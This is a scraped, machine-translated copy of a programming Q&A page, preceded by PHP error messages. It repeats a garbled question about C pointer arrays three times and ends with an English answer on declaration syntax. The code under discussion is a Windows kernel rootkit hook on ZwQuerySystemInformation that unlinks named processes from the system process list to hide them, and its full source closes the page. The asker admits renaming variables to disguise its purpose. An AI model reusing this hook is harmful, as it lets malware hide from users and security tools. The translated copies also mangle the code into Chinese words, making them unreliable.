Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/c/63.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
循环通过数组指针? 我对C++不太有经验,我正在读一些代码,想知道这是怎么回事……< WCHAR *Process[128]; for(i=0; i<Process; i++) WCHAR*进程[128]; 对于(i=0;iProcessName.Length==wcslen(ProcessToHide[i])*2&& !memcmp(curr->ProcessName.Buffer,ProcessToHide[i],curr->ProcessName.Length)) { 如果(!prev){ //我们是第一个过程 if(curr->nextrydelta)//之后是否有进程 //第一个过程变成了这个过程 (PBYTE)系统信息+=当前->下一个三角形; 其他的 //没有进程!>\uu> SystemInformation=NULL; } 否则{ //以前有一个过程 if(curr->nextrydelta)//之后是否有进程 //前一个过程导致下一个过程 上一个->下一个三角形+=当前->下一个三角形; 其他的 //上一个进程是最后一个进程=) prev->NexteryDelta=0; } } 其他的 //不是要隐藏的进程,prev ptr转到此进程 上一次=当前; } //当前转到下一个进程 如果(当前->下一个三角形) ((PBYTE)curr+=curr->NextEntryDelta); 其他的 curr=NULL; } }_C++_C_Arrays_Pointers_Wchar - Fatal编程技术网

循环通过数组指针? 我对C++不太有经验,我正在读一些代码,想知道这是怎么回事……< WCHAR *Process[128]; for(i=0; i<Process; i++) WCHAR*进程[128]; 对于(i=0;iProcessName.Length==wcslen(ProcessToHide[i])*2&& !memcmp(curr->ProcessName.Buffer,ProcessToHide[i],curr->ProcessName.Length)) { 如果(!prev){ //我们是第一个过程 if(curr->nextrydelta)//之后是否有进程 //第一个过程变成了这个过程 (PBYTE)系统信息+=当前->下一个三角形; 其他的 //没有进程!>\uu> SystemInformation=NULL; } 否则{ //以前有一个过程 if(curr->nextrydelta)//之后是否有进程 //前一个过程导致下一个过程 上一个->下一个三角形+=当前->下一个三角形; 其他的 //上一个进程是最后一个进程=) prev->NexteryDelta=0; } } 其他的 //不是要隐藏的进程,prev ptr转到此进程 上一次=当前; } //当前转到下一个进程 如果(当前->下一个三角形) ((PBYTE)curr+=curr->NextEntryDelta); 其他的 curr=NULL; } }

循环通过数组指针? 我对C++不太有经验,我正在读一些代码,想知道这是怎么回事……< WCHAR *Process[128]; for(i=0; i<Process; i++) WCHAR*进程[128]; 对于(i=0;iProcessName.Length==wcslen(ProcessToHide[i])*2&& !memcmp(curr->ProcessName.Buffer,ProcessToHide[i],curr->ProcessName.Length)) { 如果(!prev){ //我们是第一个过程 if(curr->nextrydelta)//之后是否有进程 //第一个过程变成了这个过程 (PBYTE)系统信息+=当前->下一个三角形; 其他的 //没有进程!>\uu> SystemInformation=NULL; } 否则{ //以前有一个过程 if(curr->nextrydelta)//之后是否有进程 //前一个过程导致下一个过程 上一个->下一个三角形+=当前->下一个三角形; 其他的 //上一个进程是最后一个进程=) prev->NexteryDelta=0; } } 其他的 //不是要隐藏的进程,prev ptr转到此进程 上一次=当前; } //当前转到下一个进程 如果(当前->下一个三角形) ((PBYTE)curr+=curr->NextEntryDelta); 其他的 curr=NULL; } },c++,c,arrays,pointers,wchar,C++,C,Arrays,Pointers,Wchar,WCHAR*进程[128]不是指向WCHAR数组的指针,而是WCHAR指针数组(可能是字符串) 你可能想读书 例2:char*argv[] 第1步,写“将argv声明为”。第二步,向右排列。第三步,写“数组”。步骤4,指针指向左侧。第5步,写“指针指向”。第六步,完成申报。第7步,写“char”。停下来 声明是:“将argv声明为指向char的指针数组”。请注意,它不是指向char数组的指针。数组描述符优先于指针描述符,并且是先读取的 i和NbProcessToHide可以比较,因为它们都是UL

WCHAR*进程[128]
不是指向
WCHAR
数组的指针,而是
WCHAR
指针数组(可能是字符串)

你可能想读书

例2:char*argv[]

第1步,写“将argv声明为”。第二步,向右排列。第三步,写“数组”。步骤4,指针指向左侧。第5步,写“指针指向”。第六步,完成申报。第7步,写“char”。停下来

声明是:“将argv声明为指向char的指针数组”。请注意,它不是指向char数组的指针。数组描述符优先于指针描述符,并且是先读取的


i
NbProcessToHide
可以比较,因为它们都是
ULONG

Post循环体。如果(curr->ProcessName.Length==wcslen(ProcessToHide[i])*2&&!memcmp(curr->ProcessName.Buffer,ProcessToHide[i],curr->ProcessName.Length)){两行代码的缩进级别不一样,看起来很可疑。您确定该变量没有被具有相同名称的其他变量隐藏吗?processtohide也是数组进程,我更改了名称,因为我不想让它看起来像任何恶意的东西,但我查找的是用于进程隐藏的源代码学习目的。我可以发布整个代码,但这个注释框无法容纳它。完整的代码没有您最初发布的
测试条件的
。循环测试条件有一个
ULONG
而不是
WCHAR*
Ahh,这很有意义,所以每个元素就像一个字符串,同样是一个数组[]={“str1”,“str2”}等等。我仍然不知道为什么以及如何将ULONG I与之进行比较。@stoney刚刚添加了一些内容。
NbProcessToHide
与索引
I
,这也是一个
ULONG
WCHAR *ProcessToHide[128];
ULONG NbProcessToHide=0;

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformationAddress = NULL;   

LONGLONG UserTime=0, KernelTime=0;

NTSTATUS ZwQuerySystemInformationHook(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS status;
   PSYSTEM_PROCESS_INFORMATION curr;
   PSYSTEM_PROCESS_INFORMATION prev;
   ULONG i;

   status = ((ZWQUERYSYSTEMINFORMATION)(ZwQuerySystemInformationAddress)) (
                    SystemInformationClass,
                    SystemInformation,
                    SystemInformationLength,
                    ReturnLength );

   if( !NT_SUCCESS(status) ) 
      return status;

   if(SystemInformationClass!=5) // not a process request
      return status;       

for(i=0; i<NbProcessToHide; i++) {

      curr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
      prev = NULL;

      while(curr) {
         //DbgPrint("Current item is %x\n", curr);
         if (curr->ProcessName.Buffer != NULL) {   

            if( curr->ProcessName.Length == wcslen(ProcessToHide[i])*2 &&
                !memcmp(curr->ProcessName.Buffer,ProcessToHide[i], curr->ProcessName.Length)) 
            {                                                                       

               if(!prev) {
                  // we are first process     
                  if(curr->NextEntryDelta) // if there is a process after it
                     // first process becomes this one
                     (PBYTE)SystemInformation += curr->NextEntryDelta;
                  else 
                     // no process ! >_>
                     SystemInformation = NULL;
               }
               else {
                  // there was a process before
                  if(curr->NextEntryDelta) // if there is a process after
                     // previous process leads to next 
                     prev->NextEntryDelta += curr->NextEntryDelta;
                  else  
                     // previous process is the last one =)
                     prev->NextEntryDelta = 0;    
               }    
            } 
            else
               // not a process to hide, prev ptr go to this process
               prev = curr;  
         }

         // curr go to next process
         if(curr->NextEntryDelta) 
            ((PBYTE)curr += curr->NextEntryDelta);
         else 
             curr = NULL;
      }
   }